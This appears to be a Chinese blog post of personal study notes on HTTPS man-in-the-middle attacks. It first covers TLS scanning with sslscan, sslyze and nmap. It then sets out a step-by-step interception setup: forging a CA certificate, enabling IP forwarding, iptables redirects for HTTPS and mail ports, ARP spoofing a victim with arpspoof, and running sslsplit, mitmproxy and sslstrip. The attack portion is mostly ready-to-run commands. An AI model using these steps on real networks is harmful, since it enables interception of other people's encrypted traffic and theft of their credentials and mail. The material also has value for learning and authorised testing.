https中间人攻击.md

https中间人攻击

使用tls/ssl方法进行加密传输

http攻击方法

  • 降级攻击
  • 解密攻击(明文,证书伪造)
  • 协议漏洞,实现漏洞,配置不严格

openssl

openssl s_client -connect www.baidu.com:443
****

sslscan

自动识别ssl配置错误,过期协议
默认检查 CRIME heartbleed 漏洞
绿色: 安全 红色:注意
sslscan -tlsall www.baidu.com:443
sslscan --show-certificate --no-ciphersuites www.baidu.com:443

sslyze

sslyze --regular www.baidu.com

nmap

nmap --script=ssl-enum-ciphers.nse www.baidu.com

https://www.ssllabs.com

攻击类型

二层攻击
三层攻击
攻击前提:
客户端信任伪造证书
攻击端控制证书颁发机构
客户端禁止了显示证书颁发错误

arp实现

sslspit

透明ssl/tls中间人攻击
生成本地证书私钥:
openssl genrsa -out ca.key 2048
利用私钥生成证书:
openssl req -new -509 -days 1096 -key ca.key -out ca.crt
打开os的路由转发功能:
sysctl -w net.ipv4.ip_forward=1
关闭80,443端口占用程序:
netstat -ptanu | grep :80
开启端口转发:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
iptables -t nat -L
arp欺骗:
arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1
启动SSLsplit:
mkdir -p test/log
sslsplit -D -l connect.log -j /root/test -S log/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

Mitmproxy

mitmproxy -T --host -w mitmproxy.log

sslstrip

强制客户端到中间人流量变为明文

ssltrip -l 8080

本文作者:nsfoxer

本文链接:https://www.cnblogs.com/nsfoxer/p/16317317.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   nsfoxer  阅读(41)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起